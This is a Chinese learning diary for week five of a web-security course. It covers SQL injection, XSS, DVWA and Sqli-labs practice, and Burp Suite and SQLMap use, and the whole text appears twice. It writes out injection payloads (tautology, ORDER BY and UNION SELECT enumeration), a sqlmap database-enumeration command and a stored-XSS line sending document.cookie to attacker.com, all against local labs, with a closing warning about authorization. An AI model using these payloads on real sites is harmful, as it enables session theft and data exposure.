1. 第五周学习路线与阶段定位1.1 为什么第五周是一个关键分水岭网安学习最劝退的不是起步而是中间那一段“什么都听过但什么都做不出来”的瓶颈期。第五周恰好卡在这个位置TCP/IP、Linux基础、前端三件套这些前期课程刚讲完OWASP Top 10还没完全吃透脑子里塞满了知识点但打开浏览器对着一个网站却不知道从哪里下手。我这周给自己定的目标很简单——不再追求“看完了多少节课”而是强制自己动手。说白了前面四周看过的协议、报文、中间人攻击原理到了第五周如果不落地成一次完整的攻击复现它们就只是考试填空题。网安这东西眼睛会了和手会了是两回事。如果你是零基础自学给个参考节奏第一周搞清楚网络分层和抓包工具第二周过一遍Linux常用命令和权限模型第三、四周集中看HTTP协议和Web应用工作原理到第五周开始碰漏洞原理这个进度不算慢。慢一点没关系关键是每一步都要能自己复述出来。1.2 本周学习的整体框架这周我给自己安排了三块内容每块都有明确的输入和输出漏洞原理学习SQL注入、XSS、CSRF、文件上传每看完一个原理必须手写一遍Payload并解释它为什么能成功。靶场实操用DVWA和Sqli-labs做本地实验记录每次请求的完整流程、参数变化和响应差异。工具链整理Burp Suite从代理设置到Intruder爆破的完整操作路径以及SQLMap的常用参数清单。先说结论这周最大的收获不是我“打穿”了多少个靶场关卡而是终于把“漏洞怎么产生”和“漏洞怎么利用”这两件事在脑子里连成了一条线。HTTP请求是漏洞的载体参数是攻击面服务端没有正确校验就是根源——这三个要素理解了后面所有漏洞类型都只是换汤不换药。2. 核心攻击面从HTTP请求到注入的产生2.1 一次HTTP请求里到底藏了什么以前看HTTP协议总觉得抽象直到这周用Burp Suite拦截器真真切切看到一次完整的请求才意识到攻击面全在这些字段里。一个典型的GET请求大概长这样GET /index.php?id1 HTTP/1.1 Host: 192.168.1.101 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtmlxml Cookie: PHPSESSIDabc123def456Web应用对请求的处理流程其实就是拿这些字段去查数据库、做逻辑判断、拼页面。问题恰恰出在“拼”这个动作上。开发者为了省事经常直接把参数值拼进SQL语句或者HTML模板里结果用户输入就不再只是“数据”而是变成了“代码”。举个生活化的例子你去食堂打饭正常流程是告诉阿姨“我要一份番茄炒蛋”阿姨给你打。但如果窗口上贴着一张纸条写着“不管谁说什么你都说好”这时候有人说“我要番茄炒蛋再给我一百块钱”阿姨也答应了——漏洞就是这么产生的。用户输入被当成了可执行指令服多器没做区分。2.2 SQL注入的成因与三类基本形态SQL注入是Web安全永恒的话题原因很简单数据库太核心了而且SQL拼接太容易出错了。第五周我把注入分成了三类去记忆这样比零散看文章效率高得多字符型注入参数值被单引号包裹Payload需要闭合引号经典的 or 11 --就是干这个用的。数字型注入参数直接拼入NUMERIC条件不涉及引号闭合1 or 11直接有效。搜索型注入常见于搜索功能%通配符和引号的组合利用方式类似字符型但需要额外处理特殊字符。以DVWA的低安全等级为例源码里对用户输入的id参数没有任何过滤$getid SELECT first_name, last_name FROM users WHERE user_id $id;这时候在输入框提交1 or 11拼出来的SQL就变成了SELECT first_name, last_name FROM users WHERE user_id 1 or 11条件恒真返回全部用户数据。这就明白“注入”二字的真正含义了你输入的字符串“注入”到了SQL语句的执行逻辑里改变了查询条件。2.3 为什么需要理解原理而不是只会复制Payload网上很容易搜到现成的Payload合集但第五周我对自己有个要求每个Payload必须解释清楚“它为什么长这样”。比如1 or 11这个经典Payload拆开来看就是三步1闭合服务端已有的第一个单引号让用户输入提前“结束”字符串。or 11构造一个恒真条件让原查询的判断失效。--注释掉SQL语句后面剩余部分防止多出来的引号或条件导致报错。会拼装只是及格线能解释每一步对应了服务端源码里的哪个拼接位置才算真的吃透了。后面我分析SQLMap的报错信息时这种理解帮了大忙。3. XSS跨站脚本与前端信任边界3.1 反射型、存储型、DOM型的核心区别很多初学者包括我前几周看到XSS的分类就头大其实抓核心就一句话看恶意脚本在什么地方“住”过。反射型XSS脚本只在URL参数里“路过”服务端没有保存只存在这一次响应中存储型XSS脚本被存到了数据库里所有访问这个页面的用户都会中招DOM型XSS脚本根本没经过服务端纯前端JavaScript读URL参数然后写进页面时触发的。第五周学习建议先把反射型和存储型搞透DOM型可以往后放放因为它的检测思路和前两者差别很大。反射型XSS的验证方法基本是一条测试链路scriptalert(xss)/script为什么都要用alert这个弹窗做验证不是为了炫技而是因为alert是JavaScript里执行效果最直观、能被肉眼确认的函数。弹窗出来说明脚本已经执行了XSS存在。后续可以把这个alert替换成窃取Cookie的代码、钓鱼表单或者键盘记录器原理都一样检验是否存在XSS时用弹窗最稳妥。3.2 存储型XSS的危害链路存储型XSS比反射型可怕得多因为它影响的是所有访问页面的用户而不仅仅是点击了恶意链接的受害者。用一个简单的评论功能举例如果后端对评论内容不做HTML转义攻击者发一条带脚本的评论script fetch(http://attacker.com/steal?cookie document.cookie); /script这条评论被保存后每个打开评论区的用户都会触发这个脚本Cookie被发送到攻击者服务器上。攻击者拿到Cookie之后如果Web应用没有做额外的安全校验比如IP绑定、二次验证就能直接假冒受害者的会话登录。第五周我在DVWA的存储型XSS关卡里完整走了一遍这条链路虽然靶场是本地环境但当我看到“受害者的Cookie出现在了我开的监听服务器记录里”那一瞬间才真正理解了为什么XSS长期霸榜OWASP Top 10——它的利用门槛低但后果严重程度可以非常可怕。3.3 防御思路为什么转义不是万能药XSS的防御核心是“上下文感知编码”在不同位置HTML标签内、属性内、JavaScript代码内使用不同的转义策略。但第五周我学到一个更重要的认知不要只依赖输出编码输入校验同样重要。比如富文本编辑场景允许用户提交HTML内容是刚需这时候纯靠转义会把合法功能干掉就需要引入白名单过滤。对我这种刚上手的人来说先记住两条基线所有输出到HTML上下文的数据默认做HTML实体转义。所有富文本场景必须用成熟的白名单库比如DOMPurify不要自己写正则过滤因为正则很难覆盖所有编码变体。这周我踩过一个坑自己写了一段过滤script的正则结果用%3Cscript%3EURL编码绕过了。这种“黑名单对抗”是无穷无尽的学XSS防御的第一课就是要接受“黑名单永远不完整”这个事实。4. 靶场实操录从DVWA到Sqli-labs4.1 靶场搭建要点与踩坑记录DVWADamn Vulnerable Web Application和Sqli-labs是Web安全入门绕不开的两套靶场。我用的环境是VirtualBox里装Ubuntu 22.04 Server然后在上面部署Docker用docker跑靶场镜像。先说说这个选择的原因虚拟机做快照方便靶场打挂了随时回滚不像完全基于云主机还要担心污染环境。Docker部署靶场比直接装源码快太多而且镜像版本可控。靶场只监听本地虚拟机的80端口默认不暴露到外部网络安全性更可控。实际部署有几个坑值得记一下。第一个是DVWA的PHP版本兼容问题新版DVWA对PHP 7.4支持得比较好但如果用老版本镜像搭配过新的PHP会报一堆deprecation warning甚至直接白屏。我在docker上直接用官方镜像就省掉了这个问题但如果你是自己搭LAMP环境建议先查一下软件版本兼容列表。第二个坑是DVWA首次安装页面卡住常见原因是MySQL端口冲突容器内使用的3306和宿主机已有的MySQL服务冲突。用docker跑的话记得宿主机的MySQL要停掉或者改端口映射docker run -d -p 8080:80 -p 33060:3306 --name dvwa vulnerables/web-dvwa这样宿主机用8080访问前台数据库端口映射到33060避免冲突。4.2 SQL注入完整实验记录我在Sqli-labs的第一关做了一次完整的注入测试这关是典型的单引号字符型报错注入。用浏览器访问http://127.0.0.1:8080/Less-1/?id1页面正常显示用户名和密码。接着把参数改成?id1页面报出MySQL语法错误错误信息里直接暴露了查询语句You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0,1 at line 1这个报错信息价值极高第一它确认了存在SQL注入第二它暴露了SQL语句的拼接位置和引号结构第三它还告诉了我们后端用的是MySQL数据库。后续利用的方向就清晰了?id1 order by 3 --通过order by不断调整列数直到报错就能判断出原查询的字段数量。试到order by 4时页面报错说明查询只有3列。再构造union select 1,2,3 --看到页面把2和3的值展示在了页面内容里就找到了回显位。接下来用database()函数就能拿到当前数据库名?id-1 union select 1,database(),3 --整个实验做下来我对“报错信息是注入利用的指南针”这句话有了直观的感受。现实中很多生产环境会关闭错误回显但靶场里保留完整的报错信息就是为了让初学者看清楚每一步发生了什么。在靶场里把有回显的注入吃透后面遇到盲注和报错注入时你才会知道SQLMap在做什么。4.3 Burp Suite的完整操作链路Burp Suite社区版是Web安全测试的标配工具。这周我把它的核心功能过了一遍发现很多教程把代理设置讲得太复杂实际就三步步骤一配置浏览器代理指向127.0.0.1:8080。步骤二访问 http://burp 下载安装CA证书让Burp能解密HTTPS流量。步骤三在Proxy标签页的Intercept开关里控制流量是否暂停。如果配置完代理后浏览器打不开网页关掉系统代理如果安装证书后HTTPS页面仍然报错检查证书是否装进了“受信任的根证书颁发机构”而不是“个人”证书存储区。这两个问题我第五周都遇到过排查方式就是回退配置 看Burp日志不要一上来就重装。5. 工具选型从SQLMap到Burp Suite的取舍心得5.1 SQLMap自动化和手注怎么选SQLMap是SQL注入自动化检测的标杆工具。对初学者来说它的核心价值不是“一键爆破”而是输出信息的规范性。第五周我用它跑了一个靶场关卡sqlmap -u http://127.0.0.1:8080/Less-1/?id1 --batch --dbs--batch让工具自动选择默认选项--dbs枚举所有数据库。工具跑完后不仅给出了存在注入的结论还列出了注入参数、注入类型、数据库版本。把这些输出和手工注入的过程对照着看能极大加深对注入原理的理解。但有个很重要的提醒SQLMap不是万能的。复杂的盲注场景、WAF拦截场景、或者业务参数和数据库交互http请求不是简单的GET参数拼接场景自动化工具很容易漏报或误报。工具能帮你省时间但替代不了你的判断。第五周的感受是上课学手注是为了懂原理实操中用工具是为了提效率两者不可偏废。5.2 Burp Suite高频功能盘点第五周我用Burp Suite比较多的是以下五个功能Proxy拦截、修改、重放HTTP请求理解前后端交互。Repeater手动修改请求包后反复发送观察响应差异是手工测试漏洞的主战场。Intruder自动化枚举和爆破社区版速度有限制但学习原理够用。Decoder各种编码解码转换处理URL编码、Base64时方便。Comparer对比两个响应包找差异点常用于判断注入是否影响响应结果。Burp Suite这工具的上手门槛不在软件本身而在于你要有清晰的测试思路。先拦截请求看参数POST提交了什么然后重新构造请求包观察响应变化最后放大变化看是否有安全隐患。软件只是放大你思路的工具没有思路的人拿着Burp也不会用。6. 第五周常见问题与排查心得6.1 问题速查表浏览器无法访问DVWA页面先确认容器状态docker ps再看端口映射是否正常最后检查Linux防火墙有没有放行端口。Burp拦截到HTTPS流量但显示乱码或无法解密确认CA证书已安装并且浏览器代理和系统代理没有冲突。证书安装到“受信任的根证书颁发机构”后重启浏览器。SQLMap一直显示“connection timed out”靶场地址是否正确、靶场服务是否存活、网络是否通。先用curl测试网络连通性SQLMap不会告诉你网络不通它只会报超时。手工注入时页面没有任何变化考虑是不是参数类型不对试试POST提交数据而不是GET。很多关卡用的是POST表单提交改URL参数当然不管用。6.2 一个印象深刻的翻车现场第五周做CSRF实验时我给自己挖了一个坑。当时在DVWA中等级别关卡做绕过验证需要修改请求包的Referer字段。我一开始在Burp的Proxy里改了请求包发现实验一直不成功后来排查发现是因为我直接改的是HTTP历史记录里的请求并没有控制浏览器实际发出的流量。改包要在拦截开启的状态下修改并且要把修改后的请求转发出去不是改了历史记录就行。这个问题虽然低级但很有代表性很多初学者在Burp上折腾半天其实就是卡在操作流程上而不是原理上。排查这类问题的方法很简单回到浏览器的实际行为观察这次请求是否真的按预期发出来了然后确认Burp是否拦截住了这次请求。先确认流量走到了哪一步再怀疑配置问题比盲目重装工具高效得多。6.3 信息收集不完整导致的“假漏洞”第五周还意识到一个问题有时候你觉得找到了漏洞其实只是“看起来像漏洞”。比如我在一个靶场页面发现参数可控页面响应也随参数变化马上就兴奋地往SQL注入方向尝试折腾半天没结果。冷静下来用Burp的Decoder看了一遍请求发现参数传的是JSON格式后端把输入反序列化后做了字符串处理根本不会拼进SQL语句。这个案例给我的教训是动手测之前先花三分钟把请求包看完整看清楚参数类型、请求方式、Content-Type想想服务端可能怎么处理这一段输入。信息收集不完整攻击路径就是盲人摸象。很多攻击测试没结果不是漏洞不存在而是你连入口都没找对。7. 后续学习规划与实用建议7.1 第六周和第七周的安排第五周主攻Web漏洞核心原理第六周我准备进入“组合拳”阶段一边补上文件上传漏洞、命令注入、越权访问这些还没覆盖的攻击面另一边开始接触WAF绕过思路——注意是“思路”不是具体工具因为WAF产品太多了绕过核心是编码变换和请求拆分这个思维通了换什么WAF都能用同一套逻辑去分析。第七周的计划是复盘前六周内容做一次完整的靶场渗透测试演练从信息收集开始到漏洞发现、利用、提权、权限维持走一遍标准流程。到时候会整理一篇完整的演练笔记里面会用到的知识点全都在前六周学过重点考察的是串联能力。7.2 给同期自学者的一些建议第五周学到的最重要的一句话不要跟别人比进度要跟自己比产出。我见过一周刷完三套课的“快进型”选手到头来让他自己搭一个靶场都磕磕绊绊。也见过一个SQL注入实验做三天的“慢热型”朋友但他对每个细节的理解深度远超别人。网安这行经验壁垒是实打实的早一年入行不如多十个有效实验。学习笔记一定要记录不用写得多规整但必须记录你踩过的坑和当时的理解。第五周的笔记我回头翻过好多次现在的顿悟其实是对应了笔记里某个当时的困惑。当时写下来的困惑过几周再看等于在跟过去的自己对话这种复盘的价值绝对值得每天花十五分钟。7.3 关于合法边界的提醒最后想多说几句玩靶场和打真实目标之间有一条不能逾越的红线。所有未授权测试都是违法行为不管出发点是什么。靶场存在的意义就是让你在合法范围内练手DVWA、Sqli-labs、HackTheBox、Bugku这类平台都是很好的选择。学会用什么工具只是术的层面知道什么能做、什么不能做才是道的层面。网安从业者的专业能力包含对边界的判断一个分不清授权范围的人技术越好风险越大。第五周的实验内容全部在本地虚拟机完成请你也一样把一切练习放在授权环境中进行。 Web安全实战第五周：SQL注入与XSS漏洞原理及Burp Suite实操
1. 第五周学习路线与阶段定位1.1 为什么第五周是一个关键分水岭网安学习最劝退的不是起步而是中间那一段“什么都听过但什么都做不出来”的瓶颈期。第五周恰好卡在这个位置TCP/IP、Linux基础、前端三件套这些前期课程刚讲完OWASP Top 10还没完全吃透脑子里塞满了知识点但打开浏览器对着一个网站却不知道从哪里下手。我这周给自己定的目标很简单——不再追求“看完了多少节课”而是强制自己动手。说白了前面四周看过的协议、报文、中间人攻击原理到了第五周如果不落地成一次完整的攻击复现它们就只是考试填空题。网安这东西眼睛会了和手会了是两回事。如果你是零基础自学给个参考节奏第一周搞清楚网络分层和抓包工具第二周过一遍Linux常用命令和权限模型第三、四周集中看HTTP协议和Web应用工作原理到第五周开始碰漏洞原理这个进度不算慢。慢一点没关系关键是每一步都要能自己复述出来。1.2 本周学习的整体框架这周我给自己安排了三块内容每块都有明确的输入和输出漏洞原理学习SQL注入、XSS、CSRF、文件上传每看完一个原理必须手写一遍Payload并解释它为什么能成功。靶场实操用DVWA和Sqli-labs做本地实验记录每次请求的完整流程、参数变化和响应差异。工具链整理Burp Suite从代理设置到Intruder爆破的完整操作路径以及SQLMap的常用参数清单。先说结论这周最大的收获不是我“打穿”了多少个靶场关卡而是终于把“漏洞怎么产生”和“漏洞怎么利用”这两件事在脑子里连成了一条线。HTTP请求是漏洞的载体参数是攻击面服务端没有正确校验就是根源——这三个要素理解了后面所有漏洞类型都只是换汤不换药。2. 核心攻击面从HTTP请求到注入的产生2.1 一次HTTP请求里到底藏了什么以前看HTTP协议总觉得抽象直到这周用Burp Suite拦截器真真切切看到一次完整的请求才意识到攻击面全在这些字段里。一个典型的GET请求大概长这样GET /index.php?id1 HTTP/1.1 Host: 192.168.1.101 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtmlxml Cookie: PHPSESSIDabc123def456Web应用对请求的处理流程其实就是拿这些字段去查数据库、做逻辑判断、拼页面。问题恰恰出在“拼”这个动作上。开发者为了省事经常直接把参数值拼进SQL语句或者HTML模板里结果用户输入就不再只是“数据”而是变成了“代码”。举个生活化的例子你去食堂打饭正常流程是告诉阿姨“我要一份番茄炒蛋”阿姨给你打。但如果窗口上贴着一张纸条写着“不管谁说什么你都说好”这时候有人说“我要番茄炒蛋再给我一百块钱”阿姨也答应了——漏洞就是这么产生的。用户输入被当成了可执行指令服多器没做区分。2.2 SQL注入的成因与三类基本形态SQL注入是Web安全永恒的话题原因很简单数据库太核心了而且SQL拼接太容易出错了。第五周我把注入分成了三类去记忆这样比零散看文章效率高得多字符型注入参数值被单引号包裹Payload需要闭合引号经典的 or 11 --就是干这个用的。数字型注入参数直接拼入NUMERIC条件不涉及引号闭合1 or 11直接有效。搜索型注入常见于搜索功能%通配符和引号的组合利用方式类似字符型但需要额外处理特殊字符。以DVWA的低安全等级为例源码里对用户输入的id参数没有任何过滤$getid SELECT first_name, last_name FROM users WHERE user_id $id;这时候在输入框提交1 or 11拼出来的SQL就变成了SELECT first_name, last_name FROM users WHERE user_id 1 or 11条件恒真返回全部用户数据。这就明白“注入”二字的真正含义了你输入的字符串“注入”到了SQL语句的执行逻辑里改变了查询条件。2.3 为什么需要理解原理而不是只会复制Payload网上很容易搜到现成的Payload合集但第五周我对自己有个要求每个Payload必须解释清楚“它为什么长这样”。比如1 or 11这个经典Payload拆开来看就是三步1闭合服务端已有的第一个单引号让用户输入提前“结束”字符串。or 11构造一个恒真条件让原查询的判断失效。--注释掉SQL语句后面剩余部分防止多出来的引号或条件导致报错。会拼装只是及格线能解释每一步对应了服务端源码里的哪个拼接位置才算真的吃透了。后面我分析SQLMap的报错信息时这种理解帮了大忙。3. XSS跨站脚本与前端信任边界3.1 反射型、存储型、DOM型的核心区别很多初学者包括我前几周看到XSS的分类就头大其实抓核心就一句话看恶意脚本在什么地方“住”过。反射型XSS脚本只在URL参数里“路过”服务端没有保存只存在这一次响应中存储型XSS脚本被存到了数据库里所有访问这个页面的用户都会中招DOM型XSS脚本根本没经过服务端纯前端JavaScript读URL参数然后写进页面时触发的。第五周学习建议先把反射型和存储型搞透DOM型可以往后放放因为它的检测思路和前两者差别很大。反射型XSS的验证方法基本是一条测试链路scriptalert(xss)/script为什么都要用alert这个弹窗做验证不是为了炫技而是因为alert是JavaScript里执行效果最直观、能被肉眼确认的函数。弹窗出来说明脚本已经执行了XSS存在。后续可以把这个alert替换成窃取Cookie的代码、钓鱼表单或者键盘记录器原理都一样检验是否存在XSS时用弹窗最稳妥。3.2 存储型XSS的危害链路存储型XSS比反射型可怕得多因为它影响的是所有访问页面的用户而不仅仅是点击了恶意链接的受害者。用一个简单的评论功能举例如果后端对评论内容不做HTML转义攻击者发一条带脚本的评论script fetch(http://attacker.com/steal?cookie document.cookie); /script这条评论被保存后每个打开评论区的用户都会触发这个脚本Cookie被发送到攻击者服务器上。攻击者拿到Cookie之后如果Web应用没有做额外的安全校验比如IP绑定、二次验证就能直接假冒受害者的会话登录。第五周我在DVWA的存储型XSS关卡里完整走了一遍这条链路虽然靶场是本地环境但当我看到“受害者的Cookie出现在了我开的监听服务器记录里”那一瞬间才真正理解了为什么XSS长期霸榜OWASP Top 10——它的利用门槛低但后果严重程度可以非常可怕。3.3 防御思路为什么转义不是万能药XSS的防御核心是“上下文感知编码”在不同位置HTML标签内、属性内、JavaScript代码内使用不同的转义策略。但第五周我学到一个更重要的认知不要只依赖输出编码输入校验同样重要。比如富文本编辑场景允许用户提交HTML内容是刚需这时候纯靠转义会把合法功能干掉就需要引入白名单过滤。对我这种刚上手的人来说先记住两条基线所有输出到HTML上下文的数据默认做HTML实体转义。所有富文本场景必须用成熟的白名单库比如DOMPurify不要自己写正则过滤因为正则很难覆盖所有编码变体。这周我踩过一个坑自己写了一段过滤script的正则结果用%3Cscript%3EURL编码绕过了。这种“黑名单对抗”是无穷无尽的学XSS防御的第一课就是要接受“黑名单永远不完整”这个事实。4. 靶场实操录从DVWA到Sqli-labs4.1 靶场搭建要点与踩坑记录DVWADamn Vulnerable Web Application和Sqli-labs是Web安全入门绕不开的两套靶场。我用的环境是VirtualBox里装Ubuntu 22.04 Server然后在上面部署Docker用docker跑靶场镜像。先说说这个选择的原因虚拟机做快照方便靶场打挂了随时回滚不像完全基于云主机还要担心污染环境。Docker部署靶场比直接装源码快太多而且镜像版本可控。靶场只监听本地虚拟机的80端口默认不暴露到外部网络安全性更可控。实际部署有几个坑值得记一下。第一个是DVWA的PHP版本兼容问题新版DVWA对PHP 7.4支持得比较好但如果用老版本镜像搭配过新的PHP会报一堆deprecation warning甚至直接白屏。我在docker上直接用官方镜像就省掉了这个问题但如果你是自己搭LAMP环境建议先查一下软件版本兼容列表。第二个坑是DVWA首次安装页面卡住常见原因是MySQL端口冲突容器内使用的3306和宿主机已有的MySQL服务冲突。用docker跑的话记得宿主机的MySQL要停掉或者改端口映射docker run -d -p 8080:80 -p 33060:3306 --name dvwa vulnerables/web-dvwa这样宿主机用8080访问前台数据库端口映射到33060避免冲突。4.2 SQL注入完整实验记录我在Sqli-labs的第一关做了一次完整的注入测试这关是典型的单引号字符型报错注入。用浏览器访问http://127.0.0.1:8080/Less-1/?id1页面正常显示用户名和密码。接着把参数改成?id1页面报出MySQL语法错误错误信息里直接暴露了查询语句You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0,1 at line 1这个报错信息价值极高第一它确认了存在SQL注入第二它暴露了SQL语句的拼接位置和引号结构第三它还告诉了我们后端用的是MySQL数据库。后续利用的方向就清晰了?id1 order by 3 --通过order by不断调整列数直到报错就能判断出原查询的字段数量。试到order by 4时页面报错说明查询只有3列。再构造union select 1,2,3 --看到页面把2和3的值展示在了页面内容里就找到了回显位。接下来用database()函数就能拿到当前数据库名?id-1 union select 1,database(),3 --整个实验做下来我对“报错信息是注入利用的指南针”这句话有了直观的感受。现实中很多生产环境会关闭错误回显但靶场里保留完整的报错信息就是为了让初学者看清楚每一步发生了什么。在靶场里把有回显的注入吃透后面遇到盲注和报错注入时你才会知道SQLMap在做什么。4.3 Burp Suite的完整操作链路Burp Suite社区版是Web安全测试的标配工具。这周我把它的核心功能过了一遍发现很多教程把代理设置讲得太复杂实际就三步步骤一配置浏览器代理指向127.0.0.1:8080。步骤二访问 http://burp 下载安装CA证书让Burp能解密HTTPS流量。步骤三在Proxy标签页的Intercept开关里控制流量是否暂停。如果配置完代理后浏览器打不开网页关掉系统代理如果安装证书后HTTPS页面仍然报错检查证书是否装进了“受信任的根证书颁发机构”而不是“个人”证书存储区。这两个问题我第五周都遇到过排查方式就是回退配置 看Burp日志不要一上来就重装。5. 工具选型从SQLMap到Burp Suite的取舍心得5.1 SQLMap自动化和手注怎么选SQLMap是SQL注入自动化检测的标杆工具。对初学者来说它的核心价值不是“一键爆破”而是输出信息的规范性。第五周我用它跑了一个靶场关卡sqlmap -u http://127.0.0.1:8080/Less-1/?id1 --batch --dbs--batch让工具自动选择默认选项--dbs枚举所有数据库。工具跑完后不仅给出了存在注入的结论还列出了注入参数、注入类型、数据库版本。把这些输出和手工注入的过程对照着看能极大加深对注入原理的理解。但有个很重要的提醒SQLMap不是万能的。复杂的盲注场景、WAF拦截场景、或者业务参数和数据库交互http请求不是简单的GET参数拼接场景自动化工具很容易漏报或误报。工具能帮你省时间但替代不了你的判断。第五周的感受是上课学手注是为了懂原理实操中用工具是为了提效率两者不可偏废。5.2 Burp Suite高频功能盘点第五周我用Burp Suite比较多的是以下五个功能Proxy拦截、修改、重放HTTP请求理解前后端交互。Repeater手动修改请求包后反复发送观察响应差异是手工测试漏洞的主战场。Intruder自动化枚举和爆破社区版速度有限制但学习原理够用。Decoder各种编码解码转换处理URL编码、Base64时方便。Comparer对比两个响应包找差异点常用于判断注入是否影响响应结果。Burp Suite这工具的上手门槛不在软件本身而在于你要有清晰的测试思路。先拦截请求看参数POST提交了什么然后重新构造请求包观察响应变化最后放大变化看是否有安全隐患。软件只是放大你思路的工具没有思路的人拿着Burp也不会用。6. 第五周常见问题与排查心得6.1 问题速查表浏览器无法访问DVWA页面先确认容器状态docker ps再看端口映射是否正常最后检查Linux防火墙有没有放行端口。Burp拦截到HTTPS流量但显示乱码或无法解密确认CA证书已安装并且浏览器代理和系统代理没有冲突。证书安装到“受信任的根证书颁发机构”后重启浏览器。SQLMap一直显示“connection timed out”靶场地址是否正确、靶场服务是否存活、网络是否通。先用curl测试网络连通性SQLMap不会告诉你网络不通它只会报超时。手工注入时页面没有任何变化考虑是不是参数类型不对试试POST提交数据而不是GET。很多关卡用的是POST表单提交改URL参数当然不管用。6.2 一个印象深刻的翻车现场第五周做CSRF实验时我给自己挖了一个坑。当时在DVWA中等级别关卡做绕过验证需要修改请求包的Referer字段。我一开始在Burp的Proxy里改了请求包发现实验一直不成功后来排查发现是因为我直接改的是HTTP历史记录里的请求并没有控制浏览器实际发出的流量。改包要在拦截开启的状态下修改并且要把修改后的请求转发出去不是改了历史记录就行。这个问题虽然低级但很有代表性很多初学者在Burp上折腾半天其实就是卡在操作流程上而不是原理上。排查这类问题的方法很简单回到浏览器的实际行为观察这次请求是否真的按预期发出来了然后确认Burp是否拦截住了这次请求。先确认流量走到了哪一步再怀疑配置问题比盲目重装工具高效得多。6.3 信息收集不完整导致的“假漏洞”第五周还意识到一个问题有时候你觉得找到了漏洞其实只是“看起来像漏洞”。比如我在一个靶场页面发现参数可控页面响应也随参数变化马上就兴奋地往SQL注入方向尝试折腾半天没结果。冷静下来用Burp的Decoder看了一遍请求发现参数传的是JSON格式后端把输入反序列化后做了字符串处理根本不会拼进SQL语句。这个案例给我的教训是动手测之前先花三分钟把请求包看完整看清楚参数类型、请求方式、Content-Type想想服务端可能怎么处理这一段输入。信息收集不完整攻击路径就是盲人摸象。很多攻击测试没结果不是漏洞不存在而是你连入口都没找对。7. 后续学习规划与实用建议7.1 第六周和第七周的安排第五周主攻Web漏洞核心原理第六周我准备进入“组合拳”阶段一边补上文件上传漏洞、命令注入、越权访问这些还没覆盖的攻击面另一边开始接触WAF绕过思路——注意是“思路”不是具体工具因为WAF产品太多了绕过核心是编码变换和请求拆分这个思维通了换什么WAF都能用同一套逻辑去分析。第七周的计划是复盘前六周内容做一次完整的靶场渗透测试演练从信息收集开始到漏洞发现、利用、提权、权限维持走一遍标准流程。到时候会整理一篇完整的演练笔记里面会用到的知识点全都在前六周学过重点考察的是串联能力。7.2 给同期自学者的一些建议第五周学到的最重要的一句话不要跟别人比进度要跟自己比产出。我见过一周刷完三套课的“快进型”选手到头来让他自己搭一个靶场都磕磕绊绊。也见过一个SQL注入实验做三天的“慢热型”朋友但他对每个细节的理解深度远超别人。网安这行经验壁垒是实打实的早一年入行不如多十个有效实验。学习笔记一定要记录不用写得多规整但必须记录你踩过的坑和当时的理解。第五周的笔记我回头翻过好多次现在的顿悟其实是对应了笔记里某个当时的困惑。当时写下来的困惑过几周再看等于在跟过去的自己对话这种复盘的价值绝对值得每天花十五分钟。7.3 关于合法边界的提醒最后想多说几句玩靶场和打真实目标之间有一条不能逾越的红线。所有未授权测试都是违法行为不管出发点是什么。靶场存在的意义就是让你在合法范围内练手DVWA、Sqli-labs、HackTheBox、Bugku这类平台都是很好的选择。学会用什么工具只是术的层面知道什么能做、什么不能做才是道的层面。网安从业者的专业能力包含对边界的判断一个分不清授权范围的人技术越好风险越大。第五周的实验内容全部在本地虚拟机完成请你也一样把一切练习放在授权环境中进行。